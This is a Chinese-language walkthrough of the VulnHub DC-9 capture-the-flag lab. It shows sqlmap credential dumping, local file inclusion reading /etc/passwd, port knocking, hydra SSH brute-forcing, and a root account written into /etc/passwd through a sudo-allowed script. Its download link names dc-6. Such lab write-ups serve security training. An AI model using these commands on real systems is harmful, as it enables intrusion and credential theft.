DC-9
环境搭建
- 靶机镜像下载地址:https://vulnhub.com/entry/dc-6,315/
- 需要将靶机和 kali 攻击机放在同一个局域网里;
- 本实验kali 的 IP 地址:192.168.10.146。
渗透测试
使用 nmap 扫描 192.168.10.0/24 网段存活主机
┌──(root💀kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24
经判断,目标主机IP地址为192.168.10.155。
扫描开放的服务。
┌──(root💀kali)-[~/桌面]
└─# nmap -sS 192.168.10.155
注意:这里的22端口显示的是filtered。
分析下网站
这里是一些用户的信息
这里可以使用name搜索相关的信息
这里可以登录。尝试sql注入,不行。还有一个思路,前面有各种用户的信息,可以尝试组成社工字典进行爆破(这个放到没有利用点的时候再尝试)
经测试,搜索页是存在sql注入的。
直接上sqlmap吧~
因为是post注入,所以先使用BurpSuite抓取一下数据包。
将请求内容放入到dc9文件中之后运行sqlmap
┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch
┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch --dbs
available databases [3]:
[*] information_schema
[*] Staff
[*] users
┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch --current-db
current database: 'Staff'
┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch -D Staff --tables
Database: Staff
[2 tables]
+--------------+
| StaffDetails |
| Users |
+--------------+
┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch -D Staff -T Users --columns
Database: Staff
Table: Users
[3 columns]
+----------+-----------------+
| Column | Type |
+----------+-----------------+
| Password | varchar(255) |
| UserID | int(6) unsigned |
| Username | varchar(255) |
+----------+-----------------+
┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch -D Staff -T Users -C Username,Password --dump
Database: Staff
Table: Users
[1 entry]
+----------+--------------------------------------------------+
| Username | Password |
+----------+--------------------------------------------------+
| admin | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1) |
+----------+--------------------------------------------------+
使用admin:transorbital1 登录成功。
这个页面下面提示“File does not exist”,猜测这里存在文件包含。
猜测参数为file,读取下passwd文件试试:
http://192.168.10.155/manage.php?file=../../../../etc/passwd
读取成功,这里存在本地文件包含。
尝试了下远程文件包含,不行~
端口敲门服务
knockd配置位置/etc/knockd.conf。
http://192.168.10.155/manage.php?file=../../../../etc/knockd.conf
敲门顺序 sequence = 7469,8475,9842。
安装knock工具,对获取的端口(开门密码)实现碰撞,可以看到成功开启了ssh端口:
apt install knockd
knock 192.168.10.155 7469 8475 9842
或者使用nc进行依次连接也可
┌──(root💀kali)-[~/桌面]
└─# nc 192.168.10.155 7469
┌──(root💀kali)-[~/桌面]
└─# nc 192.168.10.155 8475
┌──(root💀kali)-[~/桌面]
└─# nc 192.168.10.155 9842
再次进行扫描,会发现22端口是open状态。
使用sql注入漏洞获取users库中的UserDetails表中的数据
┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch -D users -T UserDetails -C username,password --dump
将username 列放入username.txt中,password放入到password.txt中。
┌──(root💀kali)-[~/桌面]
└─# cat a.txt
┌──(root💀kali)-[~/桌面]
└─# awk -F "|" '{print $2}' a.txt > username.txt
┌──(root💀kali)-[~/桌面]
└─# awk -F "|" '{print $3}' a.txt > password.txt
去除一下前后的空格。
┌──(root💀kali)-[~/桌面]
└─# vim username.txt
:%s/ //g
%是整个缓冲数据,即整个文本
s/查找的字符/替换的字符/
g是全部替换
对ssh服务进行密码爆破。
┌──(root💀kali)-[~/桌面]
└─# hydra -L username.txt -P password.txt 192.168.10.155 ssh
[DATA] attacking ssh://192.168.10.155:22/
[22][ssh] host: 192.168.10.155 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.10.155 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.10.155 login: janitor password: Ilovepeepee
使用三个用户登录,进行信息收集。在janitor的家目录下发现隐藏目录,其中的文件是一个密码文件。
janitor@dc-9:~$ ls -a
. .. .bash_history .gnupg .secrets-for-putin
janitor@dc-9:~$ cat .secrets-for-putin/passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
把密码放入刚才的密码文件中,再次爆破一下。
多了一个账号:登录一下
login: fredf password: B4-Tru3-001
┌──(root💀kali)-[~/桌面]
└─# ssh fredf@192.168.10.155
fredf@dc-9:~$
查看sudo授权,有一个授权~
执行以下该脚本,sudo /opt/devstuff/dist/test/test
提示 python test.py。
在/opt/devstuff/
中找到了test.py文件,查看文件内容。
分析含义:需要三个参数,如果不是3则输出“Usage:…”,满足3个参数,则第2个参数的文件内容写入到第3个参数的文件中。
思路:
- 1、首先
/opt/devstuff/dist/test/test
可以以root身份运行 - 2、构造有root权限的账户放入到/etc/passwd中
- 3、以该用户登录系统
使用openssl passwd 生成密码
┌──(root💀kali)-[~/桌面]
└─# openssl passwd 123456
bwfgXppOVV0PI
编写a.txt文件
fredf@dc-9:~$ vi a.txt
hackerx:bwfgXppOVV0PI:0:0::/root:/bin/bash
将a.txt文件写入到/etc/passwd文件中
fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test a.txt /etc/passwd
切换到新添加的hackerx用户
拿到flag
参考链接: